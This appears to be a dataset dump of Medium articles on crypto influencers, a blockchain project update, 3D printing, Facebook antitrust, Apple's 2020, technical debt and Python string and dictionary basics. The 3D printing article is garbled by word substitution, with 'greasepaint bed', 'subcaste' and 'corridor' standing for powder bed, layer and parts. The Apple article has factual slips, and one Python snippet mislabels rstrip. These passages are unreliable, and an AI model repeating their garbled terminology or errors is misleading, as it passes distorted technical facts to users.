Erik Voorhees is the CEO of Shapeshift. Erik is vocal on Twitter and shares a wealth of information for both crypto beginners and experts alike. Shapeshift is a great launchpad for discovering what cryptocurrencies are gaining traction in the space as well as getting a cutting-edge view of new and developing shifts in the blockchain industry.
Ari Paul
Twitter: https://twitter.com/AriDavidPaul
Ari Paul is co-founder and CIO of BlockTower Capital and a powerful voice in the crossover between blockchain technology and investing. Ari’s portfolio management background for the University of Chicago’s $8 billion endowment, and a derivatives market maker and proprietary trader for Susquehanna International Group gives the industry an important voice in evaluating blockchain technology as an investment opportunity.
Patrick O’Shaughnessy
Twitter: https://twitter.com/patrick_oshag
Blog: http://investorfieldguide.com/podcast/
The crypto world knows Patrick as curator of the wildly popular podcast called “Hash Power 1,2,3” that discusses blockchains, cryptocurrency investing and what the future holds. The podcast features a more comprehensive list of “who’s who” of crypto thought leadership. Oh, and by the way, when he’s not running his podcast, Patrick “moonlights” as CEO of the $7B investment firm O’Shaughnessy Capital Management
Jameson Lopp
Twitter: https://twitter.com/lopp
Blog: https://lopp.net
Jameson has been speaking publicly for several years to convey the operations of public crypto asset systems in terms understandable by laymen. Any online guide showing you “where to start” in blockchain will certainly include a reference to some of Lopp’s YouTube videos, interviews or presentations — most of which can be found on his blog.
Depending on your view of the glass being half full or half empty, getting an education in blockchain development can be wildly fun or begrudgingly tenuous. The one thing this world does require is a bit of self-education to start your understanding of the ecosystem, development trends and investment opportunities. Self-education can be especially intimidating, but without knowledge you are leaving yourself open to missing out on what might be the greatest wealth generating opportunity since the early days of the internet and being ripped off by malicious operators — not to mention how cool it is to impress your kids’ friend’s parents at the soccer game. Yeah, maybe not.
There’s a whole lot of great and influential people working hard to ensure blockchain technology meets its full potential. Whenever you get concerned about the future of the blockchain, rest easy; think of the countless venture capitalists, CEOs, software developers, cryptographers and internet pioneers that stand behind it.
Shawn Lucas is founder and CEO of Apiary Fund. Through technology and education, Apiary Fund develops traders and gives people the opportunity to seek the freedom of flexible income by trading with Apiary’s money. | https://medium.com/silicon-slopes/starting-to-follow-blockchain-dont-miss-these-7-follows-on-twitter-b34a623690b6 | ['Shawn Lucas'] | 2018-03-20 16:16:32.834000+00:00 | ['Blockchain', 'Technology', 'Community Board', 'Bitcoin', 'Tech'] |
2,292 | Constellation June Update | Hello Constellation Community,
By a long long shot, it has been the busiest and most eventful month for Constellation since our inception. First and foremost, we have tokens! Minting happened last week and we now have 4B Constellation DAGs in existence. For those that missed it, we released a detailed distribution model document over the weekend with a token percentage breakout across founders, advisors and the community. With minted token in wallets, Thursday and Friday were spent busily taking our first round investors and partners through the KYC/AML process. We have the process down and we’re ready for the wider community involvement when our first AirDrop hits July 7th.
Have you seen our Telegram Group lately? Over the past three weeks, we’ve been steadily increasing by around 300 new members a day and we’re nearing 20K. Altif has been busily expanding the community by onboarding Portuguese, Russain and Mandarin channels not to mention managing an already 6K strong AirDrop group. As our global footprint grows this will be reflected in our community strategy.
Read on for some topline updates from our engineering, marketing and leadership team. There’s so much more we’d like to talk about (Orion community portal wink wink) but we’re keeping our cards close until we’re ready to reveal. Hold on until next week.
Engineering Update
This week marks the start of regular tech updates from the Engineering team. Wyatt (CTO) Preston (Distributed Systems Engineer) and Ryle (VP of Engineering) recap some of the latest p wins from the week past. If you’re interested in learning more of questions on the specifics hit up the team on TG and we’ll get back to you.
Ryle, VP of Engineering
We created adaptors for Java crypto classes to make them compatible with Twitter’s Chill Scala Kryo serialization library in preparation for switching off Java serialization. We were temporarily using Java serializers for peer to peer communications (which is standard in Akka and works easily with our crypto libs) but that carries with it security risks. Kryo is much safer and faster but requires some custom modifications for public key serialization. We started preparing simple Algebird integrations (Sketch Map, HyperLogLog, MinHasher) for demonstrating approximate frequency estimations and set operations for transaction and id hashes alongside more generic refactoring/cleaning of code. We’ve added much higher transaction counts to the tests so we can start getting performance measurements and validation of internal buffering mechanisms. We’ve Tuned of Akka threading parameters and added more API endpoints for simplifying some of the tests which can pull some simple metrics / data from the node. We have started inputting some metrics to a prototype of a node dashboard page (served from the same API with a simple Scalatags / Scala.js example). We’ve been busy refactoring peer authentication protocols and adding reputation configuration endpoints and storage structures. We created the basic schema for our Fiber Bundle classes and some demonstrations of recursion traversals to extract transactions / ids / arbitrary data from bundles. Very importantly we’ve created a basic structure for handling different types of network conflict cases for preparations with integrations between gossip protocols and the new consensus updates. More schema updates oriented around votes, conflict detections, and proofs. Finally, we handled several complex Kryo serialization test cases to verify correctness.
Wyatt, CTO
I defined our finite state machines in terms of cellular autamata. This allows us to continuously tune the parallelism of nodes; more cells, more network contribution. Specifically, this amounted to an implementation of hylomorphic and metamorphic methods for encapsulating concurrent IO operations. I defined a monadic execution context as a cell in a cellular complex, which allows us to properly scale the distribution of processing tasks and exploit combiner based aggregations. These combiner based aggregations were defined in terms of a functor algebra and dual coalgebra, which means that the configuration space (set of possible states) that any cell can hold can be stitched together with any other cell’s configuration space to create a smooth embedding of their states.
Preston, Distributed Systems Engineer
I refactored the consensus actor to be simpler to understand and removed unnecessary state message passing between internal actors. Updated consensus to be able to be used within our different consensus round contexts. Previously it was only working in the checkpointing context now it also handles more generically both the “checkpoint” and “conflict” context.
Spec Rationality Handbook
Our partners at Spec-Rationality have written a thorough analysis of Constellation. Get ready to dig deep with competitor comparisons and infographics detailing our Hylochain architecture. This handbook will be updated regularly with, so don’t forget to bookmark it!
http://spec-rationality.com/constellation/
Constellation 101 Articles
We’re releasing our series of Constellation 101 articles this week. Constellation 101 will break down the basics, providing an accessible overview of our technology. What is a DAG exactly? What is the difference between Proof of Meme and Proof of Work? We understand the community has varying levels of technical knowledge and our updates can be very detailed. As we grow expect overviews and content to satisfy the curious all the way to the rock star developer. If you want a specific topic tackled jump into TG and let us know.
Recent Press and Interviews
Zac and Altif caught up with Crypto Beadles at Crypto Invest in LA.
https://www.youtube.com/watch?v=Q3oxDgVlmj0
We linked up with the inimitable Crypto Lark for an energetic conversation with Wyatt and Brendan.
https://www.youtube.com/watch?v=K5vmd8QLuZU&t=1835s
Our friends over at Blockchain Brief produced a thorough video review breaking down our core principles.
https://www.youtube.com/watch?time_continue=8&v=86J5u8i0D74
Brendan weighed in on the dangers of centralization and the “emerging plutocracy”. The interview has been doing the rounds and caused quite the stir.
Our Korean friends at Blockchain Garage helped us translate our white paper. Thank you to Seonghoon Ju and the team. Video review to come soon.
Have a great week!
Constellation Team | https://medium.com/constellationlabs/constellation-june-update-f0c84b8ef8c9 | [] | 2018-06-14 15:41:19.355000+00:00 | ['Ethereum', 'Blockchain Technology', 'Bitcoin', 'Cryptocurrency', 'Distributed Systems'] |
2,293 | Different types of the 3D Printing process: PART 2 | In the previous blog, we started learning about the different 3D printing processes, and let's continue the same in this blog too!!
MATERIAL JETTING (POLY JET) 3D PRINTING:
Material Jetting (MJ) is a special additive manufacturing process. The feature that makes it so special is that operates also 2D printers. In material jetting, a printhead (these are analogous to the printheads used for standard inkjet printing) dispenses droplets of a photosensitive material that solidifies under ultraviolet (UV) light, thereby building the part layer by layer. The materials that are used in the Material jetting process are thermoset photopolymers ( paintings) that come in a liquid form.
Material Jetting 3D printing creates a corridor of high dimensional accuracy with a veritably smooth face finish. Multi-material printing and a wide range of accouterments ( similar to ABS-like, rubber-like, and completely transparent materials) are available in Material Jetting.
source: https://www.researchgate.net/publication/325876280/figure/fig3/AS:639591040155653@1529501795569/Schematic-representation-of-the-material-jetting-process.png
WORKING:
First, the liquid resin is hotted to 30–60 degrees centigrade to achieve optimal density for printing. Also, the printhead travels over the figure platform and hundreds of small tiny droplets of photopolymer are jetted/ deposited in the locations given as input in the form of G-code. A UV light source that’s attached to the printhead cures the deposited material, solidifying it and creating the first subcaste of the part. After the layer is complete, the build platform moves to the next layer position, and the process repeats until the whole part is complete.
These printers print in a line-wise fashion. Multiple inkjet printheads are attached to the same carrier side-by-side and they deposit material on the whole print face in a single pass. This allows different heads to deposit different materials, thereby allowing multi-material printing, full-color printing. Support structures are always needed in material jetting and need post-processing to be removed.
The liquid material in Material Jetting is solidified through a process called photopolymerization. This is the same medium that’s used in SLA. But unlike SLA they don’t bear fresh post-curing to achieve their optimal parcels, due to the very small heights that are used. The typical subcaste height used in material jetting is 16–32 microns. Indeed this material jetting also requires support while printing. There are two types of finishing in this process lustrous, matte.
Having learned some of the types of 3D printing, we shall now shift our aspect towards SLM and DMLS. Currently, SLM technology is extensively being used in the disciplines of aerospace, automotive, medical fields, etc. SLM has made it possible to manufacture colorful corridors without the demand for any supplementary coffers. Also, DMLS have made their stage in the manufacture of the high-performance corridor in the automotive and aerospace diligence, medical prosthetics, tools, and much further. We shall now explore each of these generalities extensively to understand their work.
SELECTIVE LASER MELTING (SLM) & DIRECT METAL LASER SINTERING (DMLS) 3D PRINTING:
Selective Laser Melting (SLM) and Direct Metal Laser Sintering (DMLS) are two metal additive manufacturing processes that come under the umbrella of the powder bed fusion 3D printing family. These two technologies are quite similar as they use a laser to scan and selectively fuse the powdered metal particles which enables bonding them together resulting in the development of a part.
Now, having said the similarities, we start thinking about their differences as I mentioned earlier, they are quite similar but not entirely. Well, Can you think of any difference between them?
The difference between SLM and DMLS is that SLM uses metal powders with a single melting temperature and fully melts the particles completely, while in DMLS the powder is composed of materials with variable melting points that get fused at elevated temperatures. Let me make things easier for understanding, SLM produces parts from a single metal, whereas DMLS produces parts from metal alloys.
Now let us begin understanding the working of DSLM printing.
Image of Direct Metal Laser Sintering process
source:https://www.researchgate.net/publication/330249826/figure/fig1/AS:870142959448064@1584469656348/Schematic-diagram-of-direct-metal-laser-sintering-process.jpg
WORKING:
1. Firstly, the build chamber is first filled with inert gas to minimize the oxidation of the metal powder, and then it is
heated to the optimal build temperature.
2. Then a thin layer of metal powder is spread over the build platform and a high-power laser scans the cross-section of
the component.
3. This melts (or fusing) the metal particles together, thereby creating the next layer. The entire area of the model is
scanned, so the part built is completely solid.
4. Once the scanning process is complete, the build platform moves downwards by one layer thickness and spreads another thin layer of metal powder.
5. This process is repeated until the whole part is complete.
6. When the build process is finished, the parts are fully encapsulated in the metal powder.
7. After some time the bin cools to room temperature, then the excess powder is removed manually and the parts are typically heated.
8. Now the components are detached from the build plate via cutting, machining, or wire EDM and are ready to use. [Note: The layer height used in metal 3D printing varies from 20–50 microns. The metal powder is recyclable.]
Now we understand the basic working of DMLS. We shall now move forward to learn about Binder Jetting 3D printing. Binder Jetting has a varied range of applications that include full-color prototypes, highly precise metal parts, sand casting cores, and much more.
BINDER JETTING 3D PRINTING:
Binder Jetting comes under the umbrella of additive manufacturing processes. A binder is selectively deposited onto the greasepaint bed, relating these areas together to form a solid part one layer at a time. The components generally used in Binder Jetting are metals, sand, and ceramics.
Image showing the process of Binder Jetting
source:https://www.engineersgarage.com/wp-content/uploads/2019/07/Binder-Jetting-3D-Printing-Process-and-machine-01.jpg
WORKING:
1. Originally, a recoating blade spreads a thin layer of powder over the build platform.
2. Up next, a carriage with an inkjet nozzle passes over the bed, depositing small droplets of a binding agent (glue) selectively that bond the powdered patches together.
3. In full-color Binder Jetting, the colored ink is also deposited during this step.
4. When the layer is complete, the build platform moves down, and the blade coats the face. This process is also repeated until the whole component is complete.
5. After printing, the part is reprised in the greasepaint and is left to cure and gain strength.
6. The part is also removed from the powder bin and the footloose, redundant powder is removed by passing pressurized air.
The main advantage of binder jetting is that cling occurs at room temperature. This means that dimensional deformations connected to thermal effects such as warping or curling aren’t a problem in binder jetting. Binder jetting requires no support structures.
In the next part let’s know about the DIRECT ENERGY DEPOSITION and SHEET LAMINATION process, with that we are going to wrap us the different types of 3D Printing processes and jump into the next topic.
Meet you in the next part of my 3D Printing-Series!!🙂 | https://medium.com/@gonellaaditya67/different-types-of-the-3d-printing-process-part-2-31302cfc3bac | ['Aditya Gonella'] | 2021-11-12 10:44:17.591000+00:00 | ['Innovation', 'Technology', '3d Modeling', '3D Printing', 'Additive Manufacturing'] |
2,294 | Becoming a Monopoly Was Always Facebook’s Goal | Becoming a Monopoly Was Always Facebook’s Goal
‘Copy, acquire, and kill’
Photo: Chip Somodevilla/Getty Image
Wednesday’s filing of a major government antitrust suit against Facebook is a landmark in the internet’s history. We knew the suit was coming; we didn’t know it would call for a full-on breakup that would split off Instagram and WhatsApp from the parent company. You can read the Federal Trade Commission’s 53-page complaint here.
Some commentators were quick to question how the FTC and 46 state attorneys general could credibly claim Facebook’s 2012 Instagram acquisition and 2014 WhatsApp acquisition constituted monopolistic behavior, given that the deals withstood antitrust scrutiny at the time. Indeed, both purchases were mocked by many as frivolous overpays, and few foresaw Instagram or WhatsApp growing into the giants that they’ve become under Facebook’s ownership.
That Facebook saw something others didn’t may be a testament to the company’s farsightedness and business acumen. But just because certain regulators and pundits didn’t recognize what Mark Zuckerberg was up to at the time doesn’t mean the company is innocent of anticompetitive behavior.
On the contrary, we now have evidence of what I and many others argued from the start: that Zuckerberg’s goal was always to monopolize social networking. Internal Facebook emails published as part of this year’s Congressional antitrust investigation make clear that the acquisitions were primarily about neutralizing potential competitors, not improving Facebook’s products. They were part of a long-term strategy that has come to be known as “copy, acquire, and kill,” aimed at ensuring Facebook would be not just a social network but the social network, even as social networking became a massive, world-changing global industry.
Zuckerberg has said on multiple occasions that Bill Gates was his childhood hero — a tech titan known as much for his ruthless monopolization of desktop computing as his ingenuity and philanthropy. He reportedly used to shout “domination!” at the end of Facebook staff meetings. And his company has spent the past year frantically integrating Instagram, WhatsApp, and Messenger with Facebook in a fairly naked bid to complicate a breakup bid.
These anecdotes are not an indictment in themselves: There remains much to be proven if the FTC is to succeed in forcing a breakup. But they at least mean absolutely no one should be surprised that Facebook’s actions over the years are now being called monopolistic — least of all Zuckerberg or the company itself. | https://onezero.medium.com/becoming-a-monopoly-was-always-facebooks-goal-7d710d58fcb2 | ['Will Oremus'] | 2020-12-09 22:58:58.487000+00:00 | ['Facebook', 'Antitrust', 'Technology', 'Social Media'] |
2,295 | A Look Back At Apple’s Year 2020 | A Look Back At Apple’s Year 2020
Photo by Kelly Sikkema on Unsplash
2020 wasn’t the year that we thought it would be. In fact, It was the most terrible year we all have never seen before. Before taking a look at the Apple Industries year 2020, I have to give you a small insight into 2020 and how profoundly 2020 changed the entire world.
I’m going back to the start of 2020. January 4 of the new year we got something unexpected which affected our environment badly. I’m talking about Australia's bush fire crises. This was the start of 2020.
On January 12 tall volcano eruption in the Philippines. Which ended after ten days on 22 January. 39 People lost their lives, and countless people became homeless.
On January 26, Kobe Bryant crash Tragedy.
And then in April The Global Pandemic of Coronavirus. At the time of writing, over 1.6 million people lost their lives. And still the pandemic hasn’t ended.
On May 25 George Floyd’s death shook the globe. Millions of people went out of their homes during the coronavirus pandemic.
And then on the 4th of August, Lebanon’s explosion happened. Causing over 300 deaths and 6,500 injuries and 15 billion USD damage.
These all were the worst scenarios that we faced in 2020. And personally, 2020 was the worst ever that I’ve ever experienced. Not just environmental issues but 2020 wasn’t the best business year too.
Millions of small businesses were closed by the crises of 2020. And millions of people became unemployed. But companies like Amazon and Apple were still booming. And here we are going to take a look at Apple’s year 2020. | https://medium.com/macoclock/a-look-back-at-apples-year-2020-a063c361f20c | ['Ghani Mengal'] | 2020-12-19 07:25:52.293000+00:00 | ['Apple', 'Mac', '2020', 'Tech', 'Technology'] |
2,296 | Understanding Python Dictionaries | In python, a dictionary is a data structure that contains an unordered collection of key/value pairs. In this post, we will discuss how to define and work with dictionaries in python.
Let’s get started!
Dictionaries in python are defined using curly braces ‘{}’. We will start by defining a dictionary that contains two keys. The first key will be called ‘News’ and it will map to a list of news article headlines. The second key will be called ‘Clicks’ and it will map to a list with the number of times the article was clicked :
news_dict = {"News":["Selling Toilet Paper During the Pandemic", "How to Reopen Gyms?", "Covid-19 Risk Based on Blood Type?"] , "Clicks":[100, 500, 10000] }
If we print our dictionary, we have: | https://towardsdatascience.com/understanding-python-dictionaries-cd0b91c0d38 | ['Sadrach Pierre'] | 2020-06-08 19:25:42.494000+00:00 | ['Data Science', 'Python', 'Technology', 'Programming', 'Software Development'] |
2,297 | Facebook: The Journey Pt2 | Facebook has been exceedingly profitable for Mr. Zuckerberg, who is among the richest and most influential men in the world. But for the world itself, it serves as a vector for paranoia, polarizing content, and misinformation.
In the previous article, we explored some ideas as to why Facebook became popular, and now we’ll be looking into a few reasons why it is facing its current problems. In the next article, I'll be exploring the future of the company, if its power will be clipped, and how.
The company’s ambitions of changing the world for the better are often at odds with its appetite for dominance. Here’s how.
Content
“A platform, not a publisher”, an often-repeated excuse, it has helped Facebook avoid accountability for the content on its platforms in the past. But Facebook is not a neutral platform, its business model depends on its algorithms understanding the user’s behavior, manipulating them, and selling their attention to the highest bidders.
Free speech and paid speech are not the same things. Amplifying specific organizations’ messages and trapping the public within set perspectives inhibiting their growth is not something that any company should profit from. After a severe backlash on multiple fronts, the platform has slowly been taking steps to tackle this issue.
Privacy issues
Sigh… where to begin?
In its initial days, Facebook differentiated itself from its then competitor Myspace by emphasizing privacy. However, once it established itself as a monopoly it went back on its words.
Whilst we are to blame when we reveal too much to the internet, it is troubling when we see ads appearing on our accounts that seem catered to what we want and need exactly when we require them.
It is obvious to users that Facebook is amassing and analyzing information about them. What is concerning about this is that they do not know what exactly is being mined from their accounts. It does not help when amendments to the privacy policy are frequently made, confusing them.
User Experience Saturation
It would be fair to say Facebook no longer has the “novelty” factor it had when it began. It has been losing the younger demographic in the past few years. There are few people who have disengaged from the platform and altogether given up on it. Some quit over privacy concerns, some put off by the multitude of advertisements, some because of the availability of newer, more exciting social media platforms. Which makes us question, if Facebook can reinvent itself and become a fad again.
Treatment of employees and contractors
Content moderators do the taxing work of making sure the site is not filled with graphic images and videos. However, since they’re not employees but outsourced talent they do not get any benefits like psychological support among many. This led to an alarming rise in suicides. This induced pressure on Facebook to preserve its standing among its own workforce as a good place to work which led to the giant making multiple reforms in favor of its moderators.
Tax Avoidance
Frustrated over how big corporations like Facebook re-routes their profits through low-tax jurisdictions, countries like the UK have launched a new digital sales tax aimed at forcing tech giants to pay more on the income they generate inside the country.
Frequent UI changes
Initially easy to use, the user interface has undergone frequent layout changes. People end up having a hard time adapting to them, and few eventually stop using it as often. These changes might be due to its need to reinvent itself, in the sense of experimenting with new features to explore.
The problem however is that it seems to be getting more complex with each update. A clutter of new activities each day only serve to bewilder the average user.
The profit-driven platform connects the world’s people to the information. This has led to the concentration of power in the hands of a few. The realization has dawned on many countries now and in the next post, we shall take a look at some of the probable outcomes for the company.
Previous post | https://medium.com/@nandhiniswaminathan/facebook-the-journey-pt2-ed86a346cc87 | ['Nandhini Swaminathan'] | 2020-12-18 11:50:36.664000+00:00 | ['Life', 'Privacy', 'Technology', 'Facebook', 'Silicon Valley'] |
2,298 | Downward Spiral Syndrome because of Techncial Debts and Time crunch. | Downward Spiral Syndrome because of Techncial Debts and Time crunch.
Picture form shutterstock.com
Industry 4.0 is the age of Data and Digitization. Every traditional non IT businesses are investing heavily to digitize their business processes to maximize their customer reach, sales and revenues.
Traditional business (Brick and Motor Incumbents) are trying to follow success stories of Tech giants like Google, Amazon, Netflix etc to produce Softwares at scale. All the business process automation softwares, Marketing Software, Sales software, CRMs, IT automation softwares ,supply chain softwares etc are competing within IT organization for maturity. There is constant hunger to produce features at scale to meet the digital strategy requirements.
Traditional businesses(Incumbents) have Traditional monolithic IT. Changing the traditional IT mindset to adopt mindset for micro service modular IT is challenge . The digital strategy demand
experimentation and hypothesis testing of new features . Failure of experiments is taken positively
Innovation at scale
the adoption of cutting edge technologies to deliver Software at scale.
Some of the startup companies powered by the angel investors are able do more with less and they give tough completion to incumbents in their common business lines. These startup small in size are able to eat away marketshare form the incumbents. Incumbents being huge in size are slow in adopting Digital at Scale.
Success of Incumbents Technology departments lies in the hands of technologists . They are the real heroes ( how ) part of ( what). “What” is the strategy adopted by senior leadership. End of day it’s the technologists that realize the dreams of strategy by engineering, inventing or simplifying the current businesses processes. They chain up various technologies to meaningful automated business services.
Below are the basic contributions of Technologists (architects, developers, Testers, Infrastructure specialists)
identify features and defects ,
design and build features and fix defects
Test the features and defect fixes
Identify Security and compliance risks
Identify Technical debts
Below strategies are commonly adopted by incumbents implementing digital strategy.
Devops, Lean and Agile framework to bring features to production every month or every week or every day or even every hour. Extending Devops to business not just limited to IT.
Automation framework to reduce the human reliance factor in Business processes and IT. Use of RPA to automate business processes. Building bots.
Production deployment strategy A/B testing. Canary incremental deployment strategy
Rehost their current workloads, compute and storage from their premises(local datacenters) to cloud (AWS, AZURE , GCP ) . Replatform their current business applications.
Revamp the current Application architecture. Revamp the current Technology and Infrastructure architecture. Revamp the CRM, Marketing , Sales Applications, supply chain back office Applications, Business Intelligence Applications. Set up Infrastructure landscape to embrace IOT, BIGDATA ans conduct Datascience projects.
For being Digital, many customer centric applications are built to enhance the customer experience with business processes, operations, products or services. These Applications generate huge quantity of dataset. New innovation features are invented to gain insights form these CUSTOMER and SUPPLY CHAIN Dataset.
One or more of the above strategies manifest into functional or infra features. These features find their way into the Agile stories. While building the minimum viable solution, certain technical activities or capabilities are parked for future. Many a times due to pressure and minimal budget, workarounds are tailored into the IT fabric. During Digital journey , IT teams forget about these cutting cornered solutions or workarounds. Most often the bottlenecks are known but teams have no time to fix them. In order to fulfill the business process requirements, technology life cycle features , security risks, are neglected. Many times the feedback from the business , development teams , architects to improve the current status-co is neglected. Habit of unfinished work increases. These workarounds, deferred bottlenecks, deferred technology life cycle features , deferred security &risk features, unfinished works and deferred improvement are termed as Technical debts.
Typical situation:
Stage 1 Nothing going to happen skip the Technical debt. Means no impact of technical debt so skip it.
Stage 2 Something is going to happen but nothing can be done now. Means there are no slots to process the technical debts because the impact of Technical debt is not clear.
Stage 3 May be we should do something about it but nothing we can do at this moment. No budjet or slot to mobilize resources for closing Technical debts. Even though the Technical debt has some impact on IT ecosystem
Stage 4 Something we could have done but it’s too late.
I call this behavior procrastination
Oxford English Dictionary : Procastination: as a postponement, “often with the sense of deferring though indecision, when early action would have been preferable,” or as “defer[ing] action, especially without good reason.”
Result: Years OF Accrued Technical Debts
When such technical debts are applied in middle or later stages of digital journey, it creates slippery downward spiral syndrome. Slippery downward spiral means incumbents feel difficult to come out of technical debts like a person who is not able to repay his debts or mortgage on time. Feel is like painting a flying Aeroplane. Unplanned work increases.
When the digital journey is at the peak, new business features become 100 folds, technical debts become 100o folds. Business processes impacted by implementing technical debts increases by 10000 folds. Below are typical scenarios
Requirements form different areas in different tools like caliber or Jira, excels, powerpoint hooping handoffs. Some requirements getting dropped over time during so many case exchanges.
Ever increasing. demand of code checkins every minute, from different project teams or scrum teams developers. Not sure if code change of one team impact the other team. Need for a seamless code configuration tool to manage the code and executable complex management and dependencies is never complete. Adding to this complexity if there are more than one code management tools.
development teams deployment in Dev environment every hour. More than one projects at same time in DEV environment of a technology like to deploy concurrently . More than one suppliers are using the same DEV environment . This increases chance of stepping into each other shoes.
Deployment in TST every day. For 5 min deployment the governance and approvals takes almost 1 hr plus Testing and Business team need lot of time to generate test data for envisioned new features that are not yet live.
Testing in Test Environment and Acceptance environment every day. Testing done by one project team is not known to another. Environment Restart request of one team impacts the testing of others. Often 7 am – 7 pm working day seems less to complete testing end to end and evening TST deployment gets deferred.
Lengthy approval processes for the IT instances. lengthy non IT processes like procurement, legal, contract management further slows down the flow of features, technical debts, risks ans incident fixed to Production.
Complaince team constantly check the security and compliance controls. They kind of intrude into the Deep work time of technologists . Compliance team have all their good intention to secure the organization. They keep trying to find the balance between transparency, traceability and transition. I am not surprised, if Developers and IT staff are praying not to recieve any non- conformance. The processes and governance that IT staff gets audited gets outdated and distorted because of day to day entropy and chaos in the way of working to fulfill the software production at scale.
Agile Jira board are used to visualize the flow of features, incident fixes, technical debts and risks. Most of the time these Agile stories and Agile boards are not interlinked and Jira stories become more or less like project management tool. Whereas the principle behind Agile and DevOps tools framework like Jira was to bring minimum viable products, Go live as early as possible, foster experimentation, instead of IT project mindset bring in IT product mindset, increase the feature flow and through put plus Automate all the IT human tasks. But developers and technologists end up in updating this plethoras of Agile tools, excel sheets, status reports etc. Instead of focusing deeply on development Deepwork, they are busy in shallow work. Productivity of technology teams decreases drastically vs expectation from leadership is to increase their productivity. Habit of keeping lot of work in progress increases and many unfinished work reaches the subsequent work centers.
In today’s information Economy, technologies changes very often. Every month there is new technology release or next month the current version will become obsolete.These technology teams has to cope with the speed of technology change. Technology teams have to unlearn the old version and quickly adapt the new version. This vendor tools features and Infrastructure features development run in parallel to evolving busieness features. Literally there is fight to get the schedule to deploy these technology change and infra change . Lot of time is wasted in approvals and discussion. There is often Planned downtime of environments for technology life cycle management (pathing, upgrades etc) during non business hours . But there are always surprises, there can be Unplanned downtime because of hardware failures, network congestion, new firewall rules etc impacting the Business users in the middle of Demo and Testing. These unplanned downtime may be because one or more of the technical debts are not addressed on time. These technical debts can be as simple as a 5 min upgrade but they often loose the battle of winning slots in DEV, TST,ACC or PROD because of traditional IT mindset of approvals and governance or business features are higher priority than technical debts.
Inspite of all hurdles somehow many business features and few technical debts make their way to production deployment every day. However by the time Feedback from the production business users or technology teams reach the development team , the development teams are already busy with new releases. Often transition of new live features and live technical debts in PROD is done operational teams. But their learning curve is too slow to resolve the incidents. New operations team finds it difficult to adopt to the new Digitized IT.
Within one or two years of Digital journey, incumbents IT Department realize they have tons of features,defects and technical debts all fighting to gain slot in lower environments for development, testing and Go lives. Some thing like Indian traffic jam.
Picture Source indiagoodnews.org
Each feature, defect, technical debts and risks all want to Go at the same time. 24 hrs in a day seems less. Weekend and Non business hrs seems less to manage processing of features, defects, technical debts and risks all the same time. Not only time but unplanned work grows and so does the unplanned cost.
Below picture is ideal picture to depict the Time Crunch, pressure and sense of urgency.
For Tech giants digital firms (like Amazon,Google) and digital startups , it is surely much easier to setup a closed-loop system to experiment and such downward spiral never occurs. It is much harder when you are traditional brick-and-mortar business. However, when you think of it, it is not that much harder also! We have a plethora of A/B testing and deployment methods, and advancements in technology that could be used to prototype and test alternate hypotheses and reduce technical debts. Extend the experimentation to technical debts along with new business feature. Don’t limit the experimentation to busienss features only.
Bigger issue lies is the mindset and a culture that discourage the experimentations. There should be regular feedback loop to make businesses aware about the technical debts inventory. Business should be aware that if the technical debts are not addressed on time, It will have serious economical consequences on business only . There is need of Business and IT Enterprise Architecture that allow incumbents to build Software solutions at scale to meet the Digital strategy and increase Sales and Revenues. At last I want to quote the below for incumbents currently embarking on digital transformation journey:
“People try to copy Netflix, but they can only copy what they see. They copy the results, not the process.” — ADRIAN COCKCROFT, FORMER NETFLIX CHIEF CLOUD ARCHITECT | https://medium.com/@girishkurup21/downward-spiral-syndrome-because-of-techncial-debts-and-time-crunch-e9b3e16abfac | ['Girish Kurup'] | 2020-10-10 19:58:13.166000+00:00 | ['Digital Transformation', 'Digital Marketing', 'Technology', 'Technical Debt', 'Procrastination'] |
2,299 | Stripping Strings in Python | In computer science, the string data type is defined by a sequence of characters. Strings are typically comprised of characters, words, sentences, and/or numerical information. In python, string objects have access to several methods that enable operations such as text stripping, sanitation, searching and much more. Having a good understanding of these methods is fundamental to any data scientist’s natural language processing toolkit. In this post, we will discuss how to use strip methods, available to string objects in python, in order to remove unwanted characters and text.
Let’s get started!
Suppose we wanted to remove unwanted characters, such as whitespace or even corrupted text, from the beginning, end or start of a string. Let’s define an example string with unwanted whitespace. We will take a quote from the author of the python programming language, Guido van Rossum:
string1 = ' Python is an experiment in how much freedom programmers need.
'
We can use the ‘strip()’ method to remove the unwanted whitespace and new line, ‘
’. Let’s print before and after applying the ‘strip()’ method:
print(string1)
print(string1.strip())
If we simply want to strip unwanted characters at the beginning of the string, we can use ‘lstrip()’. Let’s take a look at another string from Guido:
string2 = " Too much freedom and nobody can read another's code; too little and expressiveness is endangered.
"
Let’s use ‘lstrip()’ to remove unwanted whitespace on the left:
print(string2)
print(string2.lstrip())
We can also remove the new lines on the right using ‘rstrip()’:
print(string2)
print(string2.lstrip())
print(string2.rstrip())
We see in the last string the three new lines have been removed. We can also use these methods to strip unwanted characters. Consider the following string containing the unwanted ‘#’ and ‘&’ characters:
string3 = "#####Too much freedom and nobody can read another's code; too little and expressiveness is endangered.&&&&"
If we want to remove the ‘#’ characters on the left of the string we can use ‘lstrip()’:
print(string3)
print(string3.lstrip('#'))
We can also remove the ‘&’ character using ‘rstrip()’:
print(string3)
print(string3.lstrip('#'))
print(string3.rstrip('&'))
We can strip both characters using the ‘strip()’ method:
print(string3)
print(string3.lstrip('#'))
print(string3.rstrip('&'))
print(string3.strip('#&'))
It is worth noting that the strip method does not apply to any text in the middle of the string. Consider the following string:
string4 = "&&&&&&&Too much freedom and nobody can read another's code; &&&&&&& too little and expressiveness is endangered.&&&&&&&"
If we apply the ‘srtip()’ method passing in the ‘&’ as our argument, it will only remove them on the left and right:
print(string4)
print(string4.strip('&'))
We see that the unwanted ‘&’ remains in the middle of the string. If we want to remove unwanted characters found in the middle of text, we can use the ‘replace()’ method:
print(string4)
print(string4.replace('&', ''))
I’ll stop here but I encourage you to play around with the code yourself.
CONCLUSIONS
To summarize, in this post we discussed how to remove unwanted text and characters from strings in python. We showed how to use ‘lstrip()’ and ‘rstrip()’ to remove unwanted characters on the left and right of strings respectively. We also showed how to remove multiple unwanted characters found on the left or right using ‘strip()’. Finally, we showed how to use the ‘replace()’ method to remove unwanted text found in the middle of strings. I hope you found this post useful/interesting. The code in this post is available on GitHub. Thank you for reading! | https://towardsdatascience.com/stripping-python-strings-6635cbc1b501 | ['Sadrach Pierre'] | 2020-05-08 03:53:26.326000+00:00 | ['Software Development', 'Programming', 'Data Science', 'Python', 'Technology'] |
Subsets and Splits